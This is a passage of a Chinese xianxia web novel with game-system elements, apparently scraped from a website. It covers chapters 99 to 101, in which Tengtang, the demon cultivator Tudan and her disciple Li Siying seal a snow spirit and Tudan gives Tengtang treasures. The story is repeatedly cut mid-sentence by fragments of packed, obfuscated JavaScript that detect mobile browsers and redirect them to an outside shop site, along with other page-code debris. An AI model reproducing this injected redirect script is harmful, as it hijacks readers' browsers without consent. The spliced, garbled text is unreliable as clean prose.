滕棠张开左手,掌心的金色圆球在她御行时试着保护她,可惜敌不过上千的雪灵鹰,经过刚才那一遭,金光被削弱了九成九,再被前方的风口阵阵冲击,隐约有损毁的迹象。 嘎吱——,在滕棠担忧时,金色圆球忽然没能撑住,咔嚓碎成好几瓣,从她手心滑落出去。 她握住残余的金球碎片,感觉前方的风口似有意识般,在屠丹和杀浮的压制中挣扎起来,时不时嚎出一阵巨风,差点将她再次吹飞。 滕棠连忙将储存条和丹田里的灵力耗空,沉于双足之中,将身形稳住。 她以臂抵挡,在风雪又变弱时,睁开眼缝,看向前面二人。 几步开外的屠丹和杀浮不似她这么备受侵扰,笔直地站着,动作非常自如。他们不断施展法术,将作乱的雪灵封住,手中运转的皆是魔力……知道她就在身后,却没有半点避讳的意思。 灵力储存条很快恢复满格,滕棠前行几步,行至二人背后,将多余的灵力调用出来,给他们搭把手。 离得近了,她才发现,屠丹的灵器甚是奇特。她的灵力送进对方喇叭形的灵器之后,瞬间暴涨三倍,像有三个她在帮忙,只是灵力失去了一些浑厚度而已。 三人的魔力、灵力皆呈分散状,将风口大半堵住,彼此都没有说话,默契地封印着面前的雪灵。 雪灵与人或者妖不同,不怕疼不怕死,且有阵法的支持,风口巨大,虽然等级不是很高,但异常难对付。 屠丹与杀浮对付它这么一会儿,只是削弱了它的狂风,并没有将它完全封住。 滕棠心里算着时间,刚数十个数,旁边的杀浮便凭空消失,只剩她和屠丹站在风口面前。 暴风口还差一点才能遏制住,滕棠不知具体的封印法,只能提供灵力帮助屠丹,以免他丹田耗空、体力不支。 她犹豫地问:“我还要不要召唤他?” 屠丹脸上全是洁白的霜雪,仅剩两只蝴蝶形状的眼睛。他沉默地掐着手诀,朝风口丢了两件形状椭圆的灵器,淡定道:“不用,我们已经解决了。” 在他话音落下时,狂风骤然消失,冰雪纷纷坠落,只剩面前灰白色、吹不出风的守墓雪灵。 屠丹双足一动,身上的冰雪簌簌脱离,没有一片黏附在他黑绸上边。他双臂上挂满各式各样的灵器,数目繁多,令人眼花缭乱。 在他一通御使下,几件灵器绕着雪灵飞舞。这时,灰色风口突然反向旋转,回缩得越来越小,在喇叭灵器的吹吼下,逐渐挤成一团没有固定形态的东西,在半空中萦纡,像是没有容器装盛的水,被喇叭释放的法力嚎啸成各种形状。 屠丹拿出一个浅青色的瓶子,抽开木塞,把它纳入其中。 雪灵消失后,四周瞬间没有了一丝风,重归之前的死寂。 “这是第三阵的守护灵。”屠丹拎着细长的瓶颈,摇晃了下,继续说道:“仙墓雪域里有十个阵,每个阵都有雪灵守着。修者击溃雪灵,将其守墓旗拔出,底下墓主的宝物自会浮现。” 他一挥手,地面的冰雪纷飞,散往各个方向。一面黑白相间的诡异旗子从雪地里飞出,于半空碎成渣滓,待渣滓消失殆尽后,雪地上出现一个坑,里面躺着九颗圆滚滚的珠子。 珠子洁白如雪,比珍珠更加光滑玉润。屠丹一招手,珠子悉数落入他手中,变成一圈手串。 宝物在前,他没要,而是递给滕棠:“此为罕见的上等灵器——九珠雪糁,以水灵根驱使,九珠摆天枪传舍阵,作屏障有蕴阴养根之妙用,摆北斗大理阵,可困千军。” 九珠雪糁落入手心,寒烟四起。滕棠被冰得手掌刺痛,两只手将珠子倒来倒去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032758|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她听不懂屠丹说的两个阵以及具体用法,心里在想,屠丹这是要把宝物送给她?此人这么大方? “我没出什么力。”滕棠摊开冰冷的双手,将九珠雪糁还给他。 “此物送你,我非水灵根,拿来无用。”屠丹摇头道。 我倒是有水灵根,但我很少单独使用某根灵根……滕棠继续推拒:“无功不受禄,我不该收。” 屠丹将双臂上的灵器一件件收回,并不去取滕棠掌心的九珠雪糁。他无所谓地道:“九炼宗是炼器大宗,我身为炼器天才,在炼器一道境界颇深,随手便能拿出上百件精妙灵器。此物我看不上,且它的确不适合我,适合有水灵根的修者。” 前半句话单拎出来,颇有些目空一切的意味儿,滕棠却莫名觉得屠丹就是这样的性格、会说这样的话,明明他们素不相识…… 她思索着这份熟悉感,究竟从何而来,又中途打断,去想更奇怪的事。 屠丹明明能感觉到生死契的存在,竟对她没有敌意或恨意,还想将到手的宝物送给她?滕棠万分不理解他怎么想的,觉得这魔人要么脑子有问题,要么真的有其他秘密,抱着其他不知名的目的对她很友善。 滕棠绞尽脑汁也想不明白其中缘由,屠丹此举的意图何在。 她见对方执意把九珠雪糁送给自己,一时挨不住寒冷,将手串放入储物戒中,问他:“你既然不要,非要送我,那我可以自行处置,把它卖了换灵石么?” 她其实拿来也没什么用,想发挥九珠雪糁的全部威力,还得花大量时间学习阵法,完全不如游戏装备、技能那样便捷。 而她真正缺的是灵石,若能将九珠雪糁放[雪人当铺]中,兑换成积分与灵石,再好不过。 屠丹一愣,把这等稀罕之物卖掉?换做旁人,得了此物定不会轻易展露,日日研究如何发挥它的威力。把九珠雪糁换成灵石,实属可惜…… “你很缺灵石?” 他回想之前凌云那具分-身,他在明月八角塔中观察过滕棠一段时间,发现滕棠似乎对灵石情有独钟,跟个小财迷似的,不管降妖除魔后得到什么,都会拿出去卖,换成灵石囤积起来。 “非常缺……” 滕棠跟屠丹道了声谢,将九珠雪糁交给[雪人当铺],在卡通雪人欢喜跳跃中,惊觉这九颗珠子手串竟值30灵髓! 不愧是仙墓,30灵髓,这是她在这个修真界见过的最大一笔钱……赚发了!这东西竟然这么值钱? “你应该有很多灵石吧?”屠丹问她,并不觉得她缺灵石。 滕棠暴富之后,脸上的笑容抑制不住,如实道:“屠道友何出此言,是看我身上灵器不凡,猜测我有很多灵石?” 提到钱囊,她的笑容还是收住了,30灵髓又如何,在热血岁月随便买买东西就能花个一干二净。她垂头,叹了声气:“哎,我真的很缺钱,有钱能使鬼推磨,有灵石能使我成仙,灵石这个东西,自然是越多越好。” 在这仙墓里,不知有多少这样的宝贝?如果都能进自己的口袋,何愁目前的灵石开销?滕棠此时望向雪域的眼睛,晶亮无比。 李偲缨说得不错,屠丹外表看上去冷冷的,实际心地善良、慷慨大方。 要是她和别人一起挖出了宝贝,恐怕此时还在争论谁分得多、谁分得少,自己多半没有什么收获。 岑云岭沉思,拇指弯曲,摸着食指上的那枚储物戒,不一会儿将其取下来,朝滕棠递去。 “你拿去吧。” 100. 第 100 章 对滕棠来说,这番举动来得莫名其妙。两人面面相觑,滕棠实在不懂他的意思。 正常人,遇到一个不熟且不是同门派的修者,莫不是防备着,有谁会把自己的储物戒取下来,递给别人? 因为生死契?屠丹在讨好自己,想让她解除生死契? “屠公子炼器一流,这储物戒真好看。”滕棠没有去接,而是夸了下储物戒的精美外观。 这枚储物戒确实精美漂亮,她见过不少储物戒,却没看到过这么细致的,无论是花纹还是钳在上面的细小阵篆、宝石,都做得极其精湛,炼制手法老道,不知道的还以为器主是个经验丰富的白叟。 岑云岭见她不接,又道:“里面有九十多灵髓和几百上品灵石,还有一些灵器,皆送与你,任你处置。” 他把储物戒中九炼宗、无涯宗的令牌等物拿出来,末了取出一把滕棠觉得眼熟的黑红窄剑,持握在手中。 下一秒,那枚漂亮的储物戒飞到滕棠手中,戒指表面还残存着屠丹手指的余温,将她冰凉的掌心热出一个小圈。 她将储物戒抛回给屠丹,却见那储物戒跟长了眼睛似的,从半空中飞回来,开始赖着她。戒指“咔嚓”一声分成两半,又“咔嚓”一声,锁死在她的食指上。 “你为何要把它送给我?” 滕棠感到不可置信,以精神力探入其中,发现屠丹并没有开玩笑,戒指内真有九十多灵髓和七八十件灵器。 屠丹那双上挑的眼睛,不知因何出现一点怜意。 他没有回答滕棠的问题,薄唇轻启,问道:“你这十年过得如何?” 滕棠深吸一口气,食指如同千钧重,僵直立着,完全放不下去。 屠丹怎么只字不提生死契,反而问她这十年过得怎么样。她不知李偲缨同屠丹说过什么,以及屠丹此时怎么想的,她只知道自己不能收这么贵重的礼物。 滕棠叹气道:“实话说吧,生死契我解不开,不管你送多少东西给我,我都没办法解开。” “不是因为生死契。”屠丹张张口,想说缘由,却记着苍天之上还有个天道。 世人之眼,便是天道之眼……他的一举一动都得格外小心。滕棠虽然是天外之魂,来自外界,但她已入了此界,是此界的生灵,难保不被天道监视着。 天道这十年状似消失,不可能真的消失,他绝不能贸然行事。否则再发生狂海那样的雷劫,滕棠凡躯一具,真的能在那样的紫雷中活下来第二次? “你是李偲缨的师父,方才又帮我召唤了杀浮,这些以表敬意与谢意。” 屠丹眼眸泛着雪光,身上有一种熟悉的气息,使滕棠莫名想亲近。 他放在背后的食指绕了一圈,让那储物戒卡死在滕棠食指上,淡然道:“钱财乃身外之物,于我已无意义。” 怪不得李偲缨说屠丹是好人,滕棠望着他,只觉佛光照面,阿罗汉在拯救苦难的世人。 她想不通这世上怎么会有这样的人,修真界弱肉强食,谁不是将灵石与宝物护得死死的,怎么会有人将其视如粪土呢? 灵修所撰的与魔修相关的书籍,皆把他们写得很丑恶,长得奇形怪状,日夜喝人血吃人肉。滕棠觉得自己遇到的魔修,与书中所写大相径庭,不仅都长得不错,人还很好…… 屠丹怕她继续推辞,补充了一句:“杀浮之事,还需要你的施助。” 滕棠盯着自己的右手食指,那个戒指被施了特殊阵法与法术,短时间内取不下来。 她只好将屠丹沉甸甸的好意收下,问他:“杀浮被困在哪儿?”恨不得立马将杀浮解救出来。 岑云岭沉默,正打算编个合理的故事,不远处的冰雪突然拱起,破出个人来。 “师父!”李偲缨抖落身上的雪,眼泪流成根根冰线,插进雪地里。 她张开手,跑过来想求安慰,却扑了个空。 滕棠打了个哆嗦,双手环抱,不让她靠近:“你是至寒神体,我不是,你身体怎么这么冷?对了,二长老他们人呢?” “被我救了!”李偲缨骄傲地抬起下巴,指指滕棠的双脚:“他们就在师父脚下。” 李偲缨话音一落,滕棠就感觉脚底的雪动了。她忙退两步,面前的屠丹也慢悠悠地后退了几步。 一个冰做的笼子缓缓升起,李偲缨并拢食指与中指,在笼子上一点,那些冰块便咔咔裂开。 二长老和六名弟子被困得有点久,蹲在中央瑟瑟发抖,脸色青紫,半天站不起身。 滕棠惊讶,问李偲缨:“你刚才怎么不带大家出来?” 祁长兰的手指终于能动了,她从储物戒中取出一盏火灯笼,放在膝前。其余六人感受到温暖,立马凑成一团,努力汲取火灯笼带来的温度。 李偲缨看看屠丹,再看看师父,攥着衣袖说:“一开始我们在很深的地方,我还没把他们带上来,刚刚带上来了,又听见嗯……师父你、你和屠丹……屠丹对师父一见钟情,不惜把全部身家都送给你,以表明心意……” 祁长兰和六名弟子听见李偲缨的话,皆扭头朝滕棠这边看。 几人中,简英纵的目光最为调谑,觉得自家大师姐真是厉害,魅力无穷,连九炼宗的天才炼器师——屠丹,都拜倒在大师姐的石榴裙下。 “你们误会了……” 滕棠被他们围观得手足无措,瞟一眼屠丹,连她自己都没搞懂屠丹为何送自己这么多财物。 难不成真的看上自己了?滕棠暗自摇头,不太相信。 “怎么误会了?”李偲缨撅起嘴,阴阳怪气地问道。 她虽然把屠丹当做非常好的朋友,但心中异常不愿师父被拐去。 师父是神仙下凡,怎么能在凡间谈儿女之情,屠丹的心意到了,但实力不够。 她气哼哼地道:“屠丹,你什么意思?你之前送我玉佩,现在送我师父这么多东西,是有何居心?” 她想让师父知晓,屠丹对谁都这么好,可别因一个储物戒就动了凡心。 哪料在她要多说几句的时候,屠丹打断她,面朝她师父来一句:“我不轻易送人东西,她是你唯一的徒弟,我才将那残缺的玉佩让给她。” “你!”李偲缨指着屠丹,想骂却骂不出来,回想这几年,屠丹确实只送过她那枚没什么用的玉佩。她之前想让屠丹给她炼器,都被拒绝了。 屠丹镇定道:“没有居心,你师父缺灵石。” “……”滕棠傻眼,看不懂目前的状况。 “屠公子,我我……倒也没那么穷。”她一脸窘态地道。 在火灯笼的帮助下,祁长兰等人已经从严寒中缓过来了。 祁长兰提着灯笼,眼睛发光地走至屠丹面前,热情道:“屠小友,幸会幸会。” 她馋极了屠丹的身份与天赋,暗中对身后的五名徒弟传音,而后一阵夸赞面前俊美的男子:“一直听闻九炼宗的屠丹乃是万里挑一、绝无仅有的炼器天才,今日一见,果然凤表龙姿,器宇不凡,你可是看上了滕棠?她现在是我狂刀门大师姐,你想与她做道侣,我定是同意的。” 她顿了一下,在李偲缨开口之前,继续热情说道:“你认识偲缨这么久,就没和偲缨产生一点点情愫?” 二长老一番话,让场面更加尴尬。 李偲缨气得眉毛飞起,右脚一跺,大声吼道:“二长老,说多少次了,我和屠丹只是友人,切勿乱言。屠丹和我师父才不会成为道侣,这事我不同意!我师父是天上神仙,怎么可能和他做道侣?” 被传音吩咐过的五名徒弟,在二长老的注视下,硬着头皮起哄:“屠丹是九炼宗目前最有天赋之人,大师姐是狂刀门首徒,真是天生一对!” “是啊是啊,李师姐,这有什么不好的,我知你尊敬滕师姐,时常说她是仙子,但仙人是不可能下凡的……” “屠公子和大师姐真的很般配啊!” 这五人话说得直白,屠丹听了竟没反驳,也不知他在想什么。 滕棠完全听不下去,解释道:“你们别乱起哄了!屠丹菩萨心肠,听说我缺灵石,又有求于我,才送我储物戒,并无其他意思。” 二长老将她的话当成耳边风,越过她,一边说着溢美之词,一边委婉表达自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032759|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目的:“屠公子以后定能飞升成仙,如此年纪,如此天资……我身为狂刀门二长老,这些年,寻到不少炼器的奇石,不知屠公子有无兴趣观赏……” “二长老注意分寸!”李偲缨皱眉道。 祁长兰头一次对李偲缨发火:“你是弟子,我是长老,你此话僭越犯上,不知谁教你的礼仪。在门派也不守规矩,那日大长老……” 她越说越难听,不等她说完,滕棠对李偲缨道:“徒弟,我们走吧,不与二长老他们一起了。” [十二仙器·一]已经完成,剩下的剧情任务,无需和狂刀门的人一起行动。滕棠也不太喜欢和祁长兰待在一块儿,被对方挑刺,争执不休、浪费口舌,最后能有什么好结果? “屠公子,你呢?”滕棠暂时摸不透屠丹菩萨到哪种程度,会不会听见祁长兰的请求就心软,答应给祁长兰炼器。 “我先跟你走。”屠丹无视身前的祁长兰,走向滕棠。 “行行行,分开走!”祁长兰丢了面子,怒骂一声:“什么一刀师姐、天才师姐,胳膊皆往外拐,这样的人留在狂刀门有什么用!” 她朝五名徒弟使了个眼色,让他们跟上,而后迈步往滕棠相反的方向前进。 简英纵站在中间,再次尴尬,他想到大长老的嘱咐,最后还是选择跟上二长老。他三步一回头,看向滕师姐和李师姐,希望她们能放下芥蒂,大家一起行动。 怎奈,冰天雪地里,窸窸窣窣的雪声清晰可闻,背后的声音渐弱,李师姐他们已经走远了。 十个人分开,往相反的方向行去。 两拨人在广袤无边的雪地上留下相连的一串脚印,这些脚印形成的虚线往两边延伸,形状越来越弯曲,最后延伸成一个巨大的圆,即将在上方接合头与尾。 簌簌——,滕棠走在李偲缨和屠丹中间,费力地提起自己的脚。 她不知为何,走得十分艰难,反观左右二人,李偲缨如履平地,屠丹步伐稳而轻巧。 若没有[绯烈焰]套装在身,若没有回复极快的灵力储存条,她恐怕寸步难行。 “师父,我要走中间!” 李偲缨走着走着,忽然踅步至滕棠与屠丹之间,将二人越来越近的距离给拉远。 “呼……”滕棠喘气一口,只当她仍有孩子心性,喜欢左右都挨着熟人,而不是走在边上,有一侧是空的。 她瞟一眼左边的李偲缨,心里还是觉得奇怪,往常的李偲缨爱说废话,此时的李偲缨异常安静。他们三人在这洁白的雪世界里走了约莫半个时辰,李偲缨竟只开口说了方才的那一句。 李偲缨和屠丹许久不见,应该有很多话想聊才对…… 走在中间的李偲缨心不在焉,视线难得不黏在她师父身上,而是虚散着,看着地上亲近她足尖的雪花。 她将那些颇有谄媚意味的冰雪踢到旁边,一边走一边想,屠丹这么冷淡的人,怎么会对她师父一见钟情,还把全身家当送给师父? 很明显,屠丹他目的不纯! 李偲缨思考良久,始终不能接受好友并非自己想的那样良善。屠丹竟藏得这么深,如今才露出马脚,痴心妄想地撩动她师父凡心,欲图和师父做道侣,当自己的师丈! 她在心中臭骂了屠丹一番,恨自己识人不清,随即又开始自责,如果她不曾向屠丹透露师父是神仙,不给屠丹那些仙丹妙药,屠丹绝不会做出如此举动! 李偲缨的表情时而生气,时而悔恨,她沉默地走在中间,未开口说过一个字。 雪域广袤无边,一片纯白,仿佛没有尽头。地上的雪与冰凌晶莹剔透,悄无声息地吸收着修者的温度与灵力。 光滑稀松的雪地上,平整的三行脚印各有不同,左边轻、中间重,最右边的脚印不规整,边缘有融化成水而后凝结的冰片。 “呼呼……”一个时辰之后,滕棠的喘气声变大,清晰可闻。 她身边两人安安静静的,完全不受雪域的影响,让她喘得有些尴尬。 好在快到目的地了,她发呆两秒查看地图,发现他们已经快走到[第七关]的位置。 101. 第 101 章 滕棠呼呼地喘着气,看向四周的眼神很是戒备。几个时辰前,他们遇到的那个[49级]的雪灵如此厉害,不知其他几关的雪灵怎么样。 听屠丹说,那是第三阵的雪灵。他如此了解,必然是因为有九炼宗珍贵的寻宝图。 拖着艰难的步伐,滕棠又发起了呆,试图在活动页面找到更多的信息。 可惜这次的活动详情不如以往详细,仅短短两行,写得十分简陋,让她闯关拿奖励,却没说关卡的具体情况。 从游戏界面退出来,滕棠的视野一变,入目是白茫茫的雪地,以及一颗半透明的棕黑色蛇头。 淡棕色的蛇头从她腹部伸出来,炯炯有神地盯着她,竖直而冰冷的蛇瞳,让她感到无比的阴寒。 本身待在这冰天雪地里就觉得冷,滕棠毛骨悚然,和它对视的一瞬间,被它吓了一跳。 她急促地停止了自己的喘气声,身体忍不住朝后仰。 雪地深而厚,她的双脚陷在里面,一时拔不出来。可下个瞬间,鞋靴上的白色火焰将脚边的冰雪烤化,又让她脱离出来,一下子失去平衡,整个身体倾斜,倒向后方。 在她反应过来,与自己对视的蛇不是什么恐怖东西,是自己契约的灵兽付岚山时,已然来不及保持站姿。 她已经预料到,自己会愚蠢地坐进雪地里,或躺在冰雪里,未想过有一只沉稳的胳膊会接住她,快速揽在她的腰上,让她保持倾斜的状态。 滕棠几乎大半边身子都在屠丹怀里,上方的人垂头问她:“你在想何事?如此走神。” 那双含情脉脉的蝴蝶眼,看向怀中人时,总是充满柔情蜜意,让滕棠一阵愣神。 她感到莫名的熟悉,曾经也有个俊美的男子,伸出结实的胳膊将她搂住,没让她掉进汹涌澎湃的狂海。 她也不知为何,总能在屠丹身上看到一点醉星子的影子。或许伙伴的死,让她忧心如惔,别人一个不经意的动作,她都能回想到曾经痛心疾首的那一幕。 “屠丹你做什么呢!”李偲缨在旁边红着脸骂道。 她有些生气,一气屠丹僭越、不知礼数,竟敢对她师父做出如此亲密的举动,抱起来半天不撒手;二气自己不够细心、出手慢,明明她站在中间,师父在旁边跌倒,最先扶住师父之人应该是自己,而不是隔着她走的屠丹。 这屠丹平时冷漠异常,今日言行举止太过反常!他肯定是故意的!语气装这么熟稔作甚,仿佛他和师父相熟已久似的。 “嘶嘶嘶!嘶嘶……”好你个滕棠!假装被我吓到,借此倒在他怀里。真看上这小子了? 听着那嘶嘶的蛇鸣,滕棠的脸一会儿红一会儿黑,她推了推屠丹硬邦邦的胸膛,想让人扶她起来。 屠丹慢悠悠地将她搂起,瞥了一眼她腹部的地蛟蛇,眸色漆黑如墨:“灵宠本体既毁,放其自生自灭便是,何须养在丹田内连累自身?” 他曾经为滕棠契约灵兽时,没想太多,只希望滕棠在秘境里安然无事,这条地蛟蛇能护她安危。如今横看竖看,他异常看不惯这条蝼蚁般的虫蛇,觉得它分外碍眼。 付岚山一听这话不高兴了,正要反驳几句,蛇瞳对视上那双漆黑的蝴蝶眼睛,蛇口张开,却连个轻微的“嘶”声都发不出来。 他的蛇瞳竖成两条几近透明的直线,不明白这小子的气息怎么那么恐怖。身为地蛟蛇,他对自己的灵兽直觉很是相信,眼前这小子肯定不如表面那么简单,兴许是人妖混血,且拥有极其珍贵的妖兽血脉,否则给他的感觉不可能这么危险。 滕棠往后退了一步,以免冰雪融化后,自己的双腿陷得更深:“与它结契非我本意,它受伤却与我相关。既是我的灵宠,便要对它负责。” 她低头给付岚山一个眼刀子,让他别乱说话,而后同屠丹道谢:“多谢出手扶我,方才确实在想一些事,走了神。” 回想刚才的情形,甚是奇怪,她自己都来不及站稳,李偲缨也来不及扶,屠丹怎么就能在瞬间跑过来,将她接住。 她觉得这魔人颇有一番本事,不仅伪装术高超,极其擅长炼器,还会罕见的挪移大法,迅如闪电,转瞬出现在人眼前。 “师父,你别谢他!”李偲缨揪住滕棠的袖口,瞪向屠丹:“你平时如何待我,此时对我师父这般谄媚,安的什么心,只有你自己知道!” 屠丹被骂也不生气,云淡风轻地道:“人不同,态度自然不同。你对我和你对你师父,亦是两个态度。” “我……”李偲缨语塞,觉得他说得对又不对,她对师父不同是应该的,她是师父唯一的徒弟,当然要对师父好,而他屠丹凭什么? “我跟你目的不同,我想法没你那么肮脏!你一个劲奉承讨好我师父,不就是想攀附仙人!” 李偲缨哼了一声,对屠丹的友善急转直下,恨不得大骂两句这人癞ha蟆想吃天鹅肉,让对方赶紧离开,别在这儿招人嫌、惹她鄙夷。 “徒弟。”滕棠在一旁很是尴尬,于是抬了抬手,拉动袖口那只冰冷的爪子,转移李偲缨的注意力,望着前方道:“好了,我们快走吧,要是前面有什么宝贝被其他人抢先一步,我们追悔莫及。” 她有些无措,李偲缨和屠丹如此般配,两人说话像小情侣吵嘴,怎么把自己掺和了进去。 犹记得前世,她有两个同事便是这样,爱拿她当调情的素材,秀秀恩爱。男同事时不时帮她解决一些杂事,女同事看见了,便挤眉弄眼,问男同事是不是喜欢她,当时滕棠也产生了误会,刻意和男同事保持距离,没想到转眼过了一周,就听见其他同事说,那对男女同事早就在一起了…… 她觉得此时的情形很像上辈子,她成了李偲缨和屠丹play中的一环。 “嘶嘶……”滕棠……,付岚山龟缩在滕棠的丹田处,委屈害怕地叫了一声,可惜身体的主人没有精力关注他,拔起腿往[第七关]的位置走,完全没问他为什么发出那样惊恐的蛇鸣。 滕棠走了几步,下一秒听见屠丹跟上自己,黑绸扬动,走在了她的右边。 李偲缨满脸写着不开心,唰地跑过来,重新挤进二人中间,说什么也不要屠丹接近她师父。 今日是李偲缨待在滕棠身旁最安静的一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李偲缨瞟了一眼,半信半疑地问:“你不会是骗我们的吧,为了讨我师父欢心,随便在寻宝图上画了个红点?九炼宗再强大,也不可能把仙墓探得这么清楚,连阵眼和雪灵具体在哪儿都知晓。若是九炼宗的人知道这里有宝贝,你们为何不前来夺取?” 屠丹不愿和她多说话,淡淡道:“他们在夺取其他阵眼上的珍宝,顾不上此处。” 李偲缨还想再跟他争吵几句,被滕棠阻止:“来到来了,我们去前面看看吧。” 三人继续向前,半个时辰后祁长兰等人相遇。再次见面,祁长兰和李偲缨都没什么好脸色,一个说了声“倒霉”,一个说了句“晦气”。 简英纵尴尬地走出来,向两位师姐打招呼,自言自语地说着话:“方位仪在仙墓中总是不起作用,两位师姐也是走的直线吧,我们亦是如此,没想到我们分开时是两个相反的方向,一日后,竟走到了一起。” 滕棠点点头,跟他聊了几句,而后目光逡巡,在雪山下搜索有无异动之处。 他们已经来到第七关的位置,一座雪山的山脚。